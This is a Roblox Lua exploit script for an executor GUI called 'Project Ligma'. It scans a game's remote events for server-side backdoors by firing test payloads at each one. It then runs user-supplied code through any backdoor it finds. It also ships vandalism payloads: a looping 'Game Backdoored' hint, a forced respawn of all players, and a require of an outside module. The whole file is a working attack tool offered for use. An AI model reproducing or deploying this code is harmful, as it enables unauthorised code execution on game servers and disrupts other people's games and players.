--[=[ d888b db db d888888b .d888b. db db db .d8b. 88' Y8b 88 88 `88' VP `8D 88 88 88 d8' `8b 88 88 88 88 odD' 88 88 88 88ooo88 88 ooo 88 88 88 .88' 88 88 88 88~~~88 88. ~8~ 88b d88 .88. j88. 88booo. 88b d88 88 88 @uniquadev Y888P ~Y8888P' Y888888P 888888D Y88888P ~Y8888P' YP YP CONVERTER ]=] -- Instances: 25 | Scripts: 4 | Modules: 0 | Tags: 0 local G2L = {}; -- StarterGui.ScreenGui G2L["1"] = Instance.new("ScreenGui", game.CoreGui); G2L["1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling; -- StarterGui.ScreenGui.Executor G2L["2"] = Instance.new("Frame", G2L["1"]); G2L["2"]["BorderSizePixel"] = 2; G2L["2"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2"]["Size"] = UDim2.new(0, 643, 0, 380); G2L["2"]["Position"] = UDim2.new(0.10951, 0, 0.2367, 0); G2L["2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2"]["Name"] = [[Executor]]; -- StarterGui.ScreenGui.Executor.LocalScript G2L["3"] = Instance.new("LocalScript", G2L["2"]); -- StarterGui.ScreenGui.Executor.UIDrag G2L["4"] = Instance.new("LocalScript", G2L["2"]); G2L["4"]["Name"] = [[UIDrag]]; -- StarterGui.ScreenGui.Executor.Codebar G2L["5"] = Instance.new("TextBox", G2L["2"]); G2L["5"]["Name"] = [[Codebar]]; G2L["5"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["5"]["BorderSizePixel"] = 2; G2L["5"]["TextWrapped"] = true; G2L["5"]["TextSize"] = 23; G2L["5"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["5"]["TextYAlignment"] = Enum.TextYAlignment.Top; G2L["5"]["BackgroundColor3"] = Color3.fromRGB(245, 245, 245); G2L["5"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["5"]["MultiLine"] = true; G2L["5"]["ClearTextOnFocus"] = false; G2L["5"]["PlaceholderText"] = [[print("Backdoor")]]; G2L["5"]["Size"] = UDim2.new(0, 461, 0, 306); G2L["5"]["Position"] = UDim2.new(0.03244, 0, 0.13773, 0); G2L["5"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["5"]["Text"] = [[]]; -- StarterGui.ScreenGui.Executor.Btn G2L["6"] = Instance.new("Frame", G2L["2"]); G2L["6"]["BorderSizePixel"] = 0; G2L["6"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["6"]["Size"] = UDim2.new(0, 123, 0, 303); G2L["6"]["Position"] = UDim2.new(0.77258, 0, 0.14296, 0); G2L["6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["6"]["Name"] = [[Btn]]; -- StarterGui.ScreenGui.Executor.Btn.UIListLayout G2L["7"] = Instance.new("UIListLayout", G2L["6"]); G2L["7"]["HorizontalAlignment"] = Enum.HorizontalAlignment.Center; G2L["7"]["VerticalAlignment"] = Enum.VerticalAlignment.Center; G2L["7"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.ScreenGui.Executor.Btn.Exe G2L["8"] = Instance.new("TextButton", G2L["6"]); G2L["8"]["BorderSizePixel"] = 2; G2L["8"]["TextSize"] = 23; G2L["8"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["8"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["8"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["8"]["Size"] = UDim2.new(0, 122, 0, 103); G2L["8"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["8"]["Text"] = [[Execute]]; G2L["8"]["Name"] = [[Exe]]; G2L["8"]["Position"] = UDim2.new(0.00407, 0, -0.00655, 0); -- StarterGui.ScreenGui.Executor.Btn.Clr G2L["9"] = Instance.new("TextButton", G2L["6"]); G2L["9"]["BorderSizePixel"] = 2; G2L["9"]["TextSize"] = 23; G2L["9"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["9"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["9"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["9"]["Size"] = UDim2.new(0, 122, 0, 101); G2L["9"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["9"]["Text"] = [[Clear]]; G2L["9"]["Name"] = [[Clr]]; G2L["9"]["Position"] = UDim2.new(0.00407, 0, 0.33428, 0); -- StarterGui.ScreenGui.Executor.Btn.Inj G2L["a"] = Instance.new("TextButton", G2L["6"]); G2L["a"]["BorderSizePixel"] = 2; G2L["a"]["TextSize"] = 23; G2L["a"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["a"]["Size"] = UDim2.new(0, 122, 0, 103); G2L["a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["a"]["Text"] = [[Inject]]; G2L["a"]["Name"] = [[Inj]]; G2L["a"]["Position"] = UDim2.new(0.00407, 0, 0.66855, 0); -- StarterGui.ScreenGui.Executor.Status G2L["b"] = Instance.new("TextLabel", G2L["2"]); G2L["b"]["TextWrapped"] = true; G2L["b"]["BorderSizePixel"] = 0; G2L["b"]["TextSize"] = 26; G2L["b"]["TextScaled"] = true; G2L["b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["b"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["b"]["BackgroundTransparency"] = 1; G2L["b"]["Size"] = UDim2.new(-0.00957, 31, -0.00268, 29); G2L["b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["b"]["Text"] = [[🔴]]; G2L["b"]["Name"] = [[Status]]; G2L["b"]["Position"] = UDim2.new(0.93996, 0, 0.03269, 0); -- StarterGui.ScreenGui.Executor.Status.UIAspectRatioConstraint G2L["c"] = Instance.new("UIAspectRatioConstraint", G2L["b"]); -- StarterGui.ScreenGui.Executor.ImageLabel G2L["d"] = Instance.new("ImageLabel", G2L["2"]); G2L["d"]["BorderSizePixel"] = 0; G2L["d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); -- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues" G2L["d"]["Image"] = [[rbxassetid://129021758100934]]; G2L["d"]["Size"] = UDim2.new(0.00028, 31, 0.01696, 28); G2L["d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["d"]["BackgroundTransparency"] = 1; G2L["d"]["Position"] = UDim2.new(0.02163, 0, 0.02849, 0); -- StarterGui.ScreenGui.Executor.ImageLabel.UIAspectRatioConstraint G2L["e"] = Instance.new("UIAspectRatioConstraint", G2L["d"]); -- StarterGui.ScreenGui.Executor.R6 G2L["f"] = Instance.new("TextButton", G2L["2"]); G2L["f"]["BorderSizePixel"] = 2; G2L["f"]["TextSize"] = 23; G2L["f"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["f"]["Size"] = UDim2.new(0, 108, 0, 30); G2L["f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["f"]["Text"] = [[R6]]; G2L["f"]["Name"] = [[R6]]; G2L["f"]["Position"] = UDim2.new(0.75305, 0, 0.02849, 0); -- StarterGui.ScreenGui.Executor.R6.LocalScript G2L["10"] = Instance.new("LocalScript", G2L["f"]); -- StarterGui.ScreenGui.Executor.RE G2L["11"] = Instance.new("TextButton", G2L["2"]); G2L["11"]["BorderSizePixel"] = 2; G2L["11"]["TextSize"] = 23; G2L["11"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["11"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["11"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["11"]["Size"] = UDim2.new(0, 108, 0, 30); G2L["11"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["11"]["Text"] = [[RE]]; G2L["11"]["Name"] = [[RE]]; G2L["11"]["Position"] = UDim2.new(0.56305, 0, 0.02849, 0); -- StarterGui.ScreenGui.Executor.RE.LocalScript G2L["12"] = Instance.new("LocalScript", G2L["11"]); -- StarterGui.ScreenGui.Executor.TextLabel G2L["13"] = Instance.new("TextLabel", G2L["2"]); G2L["13"]["BorderSizePixel"] = 0; G2L["13"]["TextSize"] = 26; G2L["13"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["13"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["13"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["13"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["13"]["BackgroundTransparency"] = 1; G2L["13"]["Size"] = UDim2.new(0, 231, 0, 51); G2L["13"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["13"]["Text"] = [[Project Ligma]]; G2L["13"]["Position"] = UDim2.new(0.09235, 0, 0.00262, 0); -- StarterGui.ScreenGui.Logo G2L["14"] = Instance.new("Frame", G2L["1"]); G2L["14"]["Visible"] = false; G2L["14"]["BorderSizePixel"] = 0; G2L["14"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["14"]["Size"] = UDim2.new(0.99019, 0, 0.97834, 0); G2L["14"]["Position"] = UDim2.new(0.00981, 0, 0, 0); G2L["14"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["14"]["Name"] = [[Logo]]; G2L["14"]["BackgroundTransparency"] = 1; -- StarterGui.ScreenGui.Logo.ImageLabel G2L["15"] = Instance.new("ImageLabel", G2L["14"]); G2L["15"]["BorderSizePixel"] = 0; G2L["15"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); -- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues" G2L["15"]["Image"] = [[rbxassetid://129021758100934]]; G2L["15"]["Size"] = UDim2.new(0.03991, 31, 0.07485, 28); G2L["15"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["15"]["BackgroundTransparency"] = 1; G2L["15"]["Position"] = UDim2.new(0, 0, 0.88087, 0); -- StarterGui.ScreenGui.Logo.ImageLabel.UIAspectRatioConstraint G2L["16"] = Instance.new("UIAspectRatioConstraint", G2L["15"]); -- StarterGui.ScreenGui.Logo.ImageLabel.TextLabel G2L["17"] = Instance.new("TextLabel", G2L["15"]); G2L["17"]["TextWrapped"] = true; G2L["17"]["BorderSizePixel"] = 0; G2L["17"]["TextSize"] = 26; G2L["17"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["17"]["TextScaled"] = true; G2L["17"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["17"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["17"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["17"]["BackgroundTransparency"] = 1; G2L["17"]["Size"] = UDim2.new(0, 142, 0, 51); G2L["17"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["17"]["Text"] = [[Project Ligma Injected Enjoy FE Bypassing]]; G2L["17"]["Position"] = UDim2.new(1.12769, 0, 0.14863, 0); -- StarterGui.ScreenGui.Logo.ImageLabel.TextLabel.UIStroke G2L["18"] = Instance.new("UIStroke", G2L["17"]); -- StarterGui.ScreenGui.Logo.UIListLayout G2L["19"] = Instance.new("UIListLayout", G2L["14"]); G2L["19"]["VerticalAlignment"] = Enum.VerticalAlignment.Bottom; G2L["19"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.ScreenGui.Executor.LocalScript local function C_3() local script = G2L["3"]; local buttons = { Exe = script.Parent.Btn.Exe; clear = script.Parent.Btn.Clr; connect = script.Parent.Btn.Inj; } local statustext = script.Parent.Status local codeBar = script.Parent.Codebar local logo = script.Parent.Parent.Logo local statusIcons = { Offline = "🔴"; Checking = "🟠"; Allow = "🟢"; } local function setStatus(key) if key == "O" then statustext.Text = statusIcons.Offline elseif key == "C" then statustext.Text = statusIcons.Checking elseif key == "B" then statustext.Text = statusIcons.Allow end end local SAFE_LOCATIONS = { CoreGui = true, ServerStorage = true, ReplicatedFirst = true, ServerScriptService = true, } local EXCLUDED_REMOTES = { DefaultChatSystemChatEvents = true, ChatSystemRunner = true, ReplicatedStats = true, CharacterStats = true, PlayerList = true, Badges = true, Leaderboard = true, Teams = true, } local foundExploit = false local remoteEvent, remoteFunction local scanTime = 0 local timeToFindExploit = 0 local ReplicatedStorage = game:GetService("ReplicatedStorage") local StarterGui = game:GetService("StarterGui") local function isLikelyBackdoorRemote(remote) if SAFE_LOCATIONS[remote.Parent.ClassName] then return false end if string.match(remote:GetFullName(), "^RobloxReplicatedStorage") then return false end if EXCLUDED_REMOTES[remote.Name] then return false end return true end local activeTests = {} local function setupGlobalDescendantListener() ReplicatedStorage.DescendantAdded:Connect(function(inst) if inst:IsA("Folder") and inst.Name:sub(1, 5) == "moon_" then local testId = inst.Name if activeTests[testId] then activeTests[testId].found = true end end end) end setupGlobalDescendantListener() local function testRemote(remote, isFunction) if foundExploit then return false end local testId = "moon_" .. tostring(os.clock()):gsub("[^%d]", "") local payload = string.format([[ local m = Instance.new("Folder") m.Name = "%s" m.Parent = game:GetService("ReplicatedStorage") ]], testId) activeTests[testId] = { remote = remote, isFunction = isFunction, found = false } local RE = [[ local m = Instance.new("Message", game.Workspace) m.Text = "Hello Skidz !!" wait(4) m:Destroy() ]] local Hint = [[ local hint = Instance.new("Hint", game.Workspace) hint.Text = "Game Backdoored by Project Ligma" while true do wait(5) hint:Destroy() wait(5) local hint = Instance.new("Hint", game.Workspace) hint.Text = "Game Backdoored by Project Ligma" end ]] pcall(function() if isFunction then task.spawn(function() pcall(function() remote:InvokeServer(payload) end) pcall(function() remote:InvokeServer("moonTSS", payload) end) pcall(function() remote:InvokeServer(RE) end) pcall(function() remote:InvokeServer(Hint) end) --- its hint dumbass end) else pcall(function() remote:FireServer(payload) end) pcall(function() remote:FireServer("moonTSS", payload) end) pcall(function() remote:FireServer(RE) end) pcall(function() remote:FireServer(Hint) end) --- its hint dumbass end end) return testId end local function simpleFindRemote() setStatus("C") foundExploit = false remoteEvent, remoteFunction = nil, nil timeToFindExploit = 0 local candidates = {} local initialScanStart = os.clock() for _, obj in ipairs(game:GetDescendants()) do if (obj:IsA("RemoteEvent") or obj:IsA("RemoteFunction")) then if isLikelyBackdoorRemote(obj) then table.insert(candidates, obj) end end end print(string.format("🔍 Found %d potential remotes in %.2fms", #candidates, (os.clock() - initialScanStart) * 1000)) local testStartTime = os.clock() local activeTestIds = {} if #candidates > 0 then for _, remote in ipairs(candidates) do if foundExploit then break end local testId = testRemote(remote, remote:IsA("RemoteFunction")) if testId then table.insert(activeTestIds, testId) end end local timeoutDuration = 0.5 local checkInterval = 1 local elapsed = 0 while elapsed < timeoutDuration do task.wait(checkInterval) elapsed += checkInterval for i = #activeTestIds, 1, -1 do local testId = activeTestIds[i] local testData = activeTests[testId] if testData and (testData.found or ReplicatedStorage:FindFirstChild(testId)) then testData.found = true foundExploit = true if testData.isFunction then remoteFunction = testData.remote else remoteEvent = testData.remote end print("backdoor found:", testData.remote:GetFullName()) timeToFindExploit = os.clock() - initialScanStart activeTests[testId] = nil table.remove(activeTestIds, i) local f = ReplicatedStorage:FindFirstChild(testId) if f then f:Destroy() end break end end if foundExploit then break end end end scanTime = os.clock() - initialScanStart if not foundExploit then print("no backdoor found") else print("Backdoor remote located!") end for testId, testData in pairs(activeTests) do local f = ReplicatedStorage:FindFirstChild(testId) if f then f:Destroy() end activeTests[testId] = nil end end local exeConnection local function updateExeButton() if exeConnection then exeConnection:Disconnect() exeConnection = nil end if foundExploit then exeConnection = buttons.Exe.MouseButton1Click:Connect(function() local code = codeBar.Text if code and code ~= "" then if remoteEvent then pcall(function() remoteEvent:FireServer(code) end) elseif remoteFunction then pcall(function() remoteFunction:InvokeServer("moonTSS", code) end) end StarterGui:SetCore("SendNotification", { Title = "Project Ligma", Text = "Code executed through backdoor", Icon = "rbxassetid://129021758100934", Duration = 3, }) else StarterGui:SetCore("SendNotification", { Title = "Project Ligma", Text = "No Code to Execute", Icon = "rbxassetid://129021758100934", Duration = 3, }) end end) else exeConnection = buttons.Exe.MouseButton1Click:Connect(function() StarterGui:SetCore("SendNotification", { Title = "Project Ligma", Text = "No Backdoor Found", Icon = "rbxassetid://129021758100934", Duration = 5, }) end) end end buttons.connect.MouseButton1Click:Connect(function() setStatus("C") StarterGui:SetCore("SendNotification", { Title = "Project Ligma", Text = "Checking for backdoors...", Icon = "rbxassetid://129021758100934", Duration = 3, }) task.spawn(function() local scanStart = os.clock() simpleFindRemote() local scanEnd = os.clock() print(string.format("🌙 moon: Scan completed in %.2f ms", (scanEnd - scanStart) * 1000)) if foundExploit then setStatus("B") local formattedTime = string.format("%.2f", timeToFindExploit) StarterGui:SetCore("SendNotification", { Title = "Project Ligma", Text = "Backdoor found in " .. formattedTime .. " seconds!", Icon = "rbxassetid://129021758100934", Duration = 5, }) logo.Visible = true else setStatus("O") StarterGui:SetCore("SendNotification", { Title = "Project Ligma", Text = "No backdoor found", Icon = "rbxassetid://129021758100934", Duration = 5, }) end updateExeButton() end) end) buttons.clear.MouseButton1Click:Connect(function() codeBar.Text = "" end) setStatus("O") updateExeButton() end; task.spawn(C_3); -- StarterGui.ScreenGui.Executor.UIDrag local function C_4() local script = G2L["4"]; -- Made by Real_IceyDev (@lceyDex) -- -- Simple UI dragger (PC Only/Any device that has a mouse) -- local UIS = game:GetService('UserInputService') local frame = script.Parent local dragToggle = nil local dragSpeed = 0.25 local dragStart = nil local startPos = nil local function updateInput(input) local delta = input.Position - dragStart local position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y) game:GetService('TweenService'):Create(frame, TweenInfo.new(dragSpeed), {Position = position}):Play() end frame.InputBegan:Connect(function(input) if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then dragToggle = true dragStart = input.Position startPos = frame.Position input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragToggle = false end end) end end) UIS.InputChanged:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then if dragToggle then updateInput(input) end end end) end; task.spawn(C_4); -- StarterGui.ScreenGui.Executor.R6.LocalScript local function C_10() local script = G2L["10"]; local SAFE_LOCATIONS = { CoreGui = true, ServerStorage = true, ReplicatedFirst = true, ServerScriptService = true, } local EXCLUDED_REMOTES = { DefaultChatSystemChatEvents = true, ChatSystemRunner = true, ReplicatedStats = true, CharacterStats = true, PlayerList = true, Badges = true, Leaderboard = true, Teams = true, } local foundExploit = false local remoteEvent, remoteFunction local scanTime = 0 local timeToFindExploit = 0 local ReplicatedStorage = game:GetService("ReplicatedStorage") local StarterGui = game:GetService("StarterGui") local function isLikelyBackdoorRemote(remote) if SAFE_LOCATIONS[remote.Parent.ClassName] then return false end if string.match(remote:GetFullName(), "^RobloxReplicatedStorage") then return false end if EXCLUDED_REMOTES[remote.Name] then return false end return true end local activeTests = {} local function setupGlobalDescendantListener() ReplicatedStorage.DescendantAdded:Connect(function(inst) if inst:IsA("Folder") and inst.Name:sub(1, 5) == "moon_" then local testId = inst.Name if activeTests[testId] then activeTests[testId].found = true end end end) end setupGlobalDescendantListener() local function testRemote(remote, isFunction) if foundExploit then return false end local testId = "moon_" .. tostring(os.clock()):gsub("[^%d]", "") local payload = string.format([[ local m = Instance.new("Folder") m.Name = "%s" m.Parent = game:GetService("ReplicatedStorage") ]], testId) activeTests[testId] = { remote = remote, isFunction = isFunction, found = false } local player = game.Players.LocalPlayer local payloading = [[require(3436957371):r6(']] .. player.Name .. [[')]] pcall(function() if isFunction then task.spawn(function() pcall(function() remote:InvokeServer(payload) end) pcall(function() remote:InvokeServer("moonTSS", payload) end) pcall(function() remote:InvokeServer(payloading) end) end) else pcall(function() remote:FireServer(payload) end) pcall(function() remote:FireServer("moonTSS", payload) end) pcall(function() remote:FireServer(payloading) end) end end) return testId end local function simpleFindRemote() foundExploit = false remoteEvent, remoteFunction = nil, nil timeToFindExploit = 0 local candidates = {} local initialScanStart = os.clock() for _, obj in ipairs(game:GetDescendants()) do if (obj:IsA("RemoteEvent") or obj:IsA("RemoteFunction")) then if isLikelyBackdoorRemote(obj) then table.insert(candidates, obj) end end end print(string.format("🌙 moon: 🔍 Found %d potential remotes in %.2fms", #candidates, (os.clock() - initialScanStart) * 1000)) local testStartTime = os.clock() local activeTestIds = {} if #candidates > 0 then for _, remote in ipairs(candidates) do if foundExploit then break end local testId = testRemote(remote, remote:IsA("RemoteFunction")) if testId then table.insert(activeTestIds, testId) end end local timeoutDuration = 0.5 local checkInterval = 0.01 local elapsed = 0 while elapsed < timeoutDuration do task.wait(checkInterval) elapsed += checkInterval for i = #activeTestIds, 1, -1 do local testId = activeTestIds[i] local testData = activeTests[testId] if testData and (testData.found or ReplicatedStorage:FindFirstChild(testId)) then testData.found = true foundExploit = true if testData.isFunction then remoteFunction = testData.remote else remoteEvent = testData.remote end print("🌙 moon: backdoor found:", testData.remote:GetFullName()) timeToFindExploit = os.clock() - initialScanStart activeTests[testId] = nil table.remove(activeTestIds, i) local f = ReplicatedStorage:FindFirstChild(testId) if f then f:Destroy() end break end end if foundExploit then break end end end scanTime = os.clock() - initialScanStart if not foundExploit then print("🌙 moon: no backdoor found") else print("🔓 Backdoor remote located!") end for testId, testData in pairs(activeTests) do local f = ReplicatedStorage:FindFirstChild(testId) if f then f:Destroy() end activeTests[testId] = nil end end if script.Parent:IsA("TextButton") or script.Parent:IsA("ImageButton") then script.Parent.MouseButton1Click:Connect(function() task.spawn(simpleFindRemote) end) else print("🌙 moon: Running initial backdoor scan...") task.spawn(simpleFindRemote) end end; task.spawn(C_10); -- StarterGui.ScreenGui.Executor.RE.LocalScript local function C_12() local script = G2L["12"]; local SAFE_LOCATIONS = { CoreGui = true, ServerStorage = true, ReplicatedFirst = true, ServerScriptService = true, } local EXCLUDED_REMOTES = { DefaultChatSystemChatEvents = true, ChatSystemRunner = true, ReplicatedStats = true, CharacterStats = true, PlayerList = true, Badges = true, Leaderboard = true, Teams = true, } local foundExploit = false local remoteEvent, remoteFunction local scanTime = 0 local timeToFindExploit = 0 local ReplicatedStorage = game:GetService("ReplicatedStorage") local StarterGui = game:GetService("StarterGui") local function isLikelyBackdoorRemote(remote) if SAFE_LOCATIONS[remote.Parent.ClassName] then return false end if string.match(remote:GetFullName(), "^RobloxReplicatedStorage") then return false end if EXCLUDED_REMOTES[remote.Name] then return false end return true end local activeTests = {} local function setupGlobalDescendantListener() ReplicatedStorage.DescendantAdded:Connect(function(inst) if inst:IsA("Folder") and inst.Name:sub(1, 5) == "moon_" then local testId = inst.Name if activeTests[testId] then activeTests[testId].found = true end end end) end setupGlobalDescendantListener() local function testRemote(remote, isFunction) if foundExploit then return false end local testId = "moon_" .. tostring(os.clock()):gsub("[^%d]", "") local payload = string.format([[ local m = Instance.new("Folder") m.Name = "%s" m.Parent = game:GetService("ReplicatedStorage") ]], testId) activeTests[testId] = { remote = remote, isFunction = isFunction, found = false } local player = game.Players.LocalPlayer local payloading = [[ for _, lol in pairs(game.Players:GetPlayers()) do lol:LoadCharacter() end ]] pcall(function() if isFunction then task.spawn(function() pcall(function() remote:InvokeServer(payload) end) pcall(function() remote:InvokeServer("moonTSS", payload) end) pcall(function() remote:InvokeServer(payloading) end) end) else pcall(function() remote:FireServer(payload) end) pcall(function() remote:FireServer("moonTSS", payload) end) pcall(function() remote:FireServer(payloading) end) end end) return testId end local function simpleFindRemote() foundExploit = false remoteEvent, remoteFunction = nil, nil timeToFindExploit = 0 local candidates = {} local initialScanStart = os.clock() for _, obj in ipairs(game:GetDescendants()) do if (obj:IsA("RemoteEvent") or obj:IsA("RemoteFunction")) then if isLikelyBackdoorRemote(obj) then table.insert(candidates, obj) end end end print(string.format("🌙 moon: 🔍 Found %d potential remotes in %.2fms", #candidates, (os.clock() - initialScanStart) * 1000)) local testStartTime = os.clock() local activeTestIds = {} if #candidates > 0 then for _, remote in ipairs(candidates) do if foundExploit then break end local testId = testRemote(remote, remote:IsA("RemoteFunction")) if testId then table.insert(activeTestIds, testId) end end local timeoutDuration = 0.5 local checkInterval = 0.01 local elapsed = 0 while elapsed < timeoutDuration do task.wait(checkInterval) elapsed += checkInterval for i = #activeTestIds, 1, -1 do local testId = activeTestIds[i] local testData = activeTests[testId] if testData and (testData.found or ReplicatedStorage:FindFirstChild(testId)) then testData.found = true foundExploit = true if testData.isFunction then remoteFunction = testData.remote else remoteEvent = testData.remote end print("🌙 moon: backdoor found:", testData.remote:GetFullName()) timeToFindExploit = os.clock() - initialScanStart activeTests[testId] = nil table.remove(activeTestIds, i) local f = ReplicatedStorage:FindFirstChild(testId) if f then f:Destroy() end break end end if foundExploit then break end end end scanTime = os.clock() - initialScanStart if not foundExploit then print("🌙 moon: no backdoor found") else print("🔓 Backdoor remote located!") end for testId, testData in pairs(activeTests) do local f = ReplicatedStorage:FindFirstChild(testId) if f then f:Destroy() end activeTests[testId] = nil end end if script.Parent:IsA("TextButton") or script.Parent:IsA("ImageButton") then script.Parent.MouseButton1Click:Connect(function() task.spawn(simpleFindRemote) end) else print("Running initial backdoor scan...") task.spawn(simpleFindRemote) end end; task.spawn(C_12); return G2L["1"], require;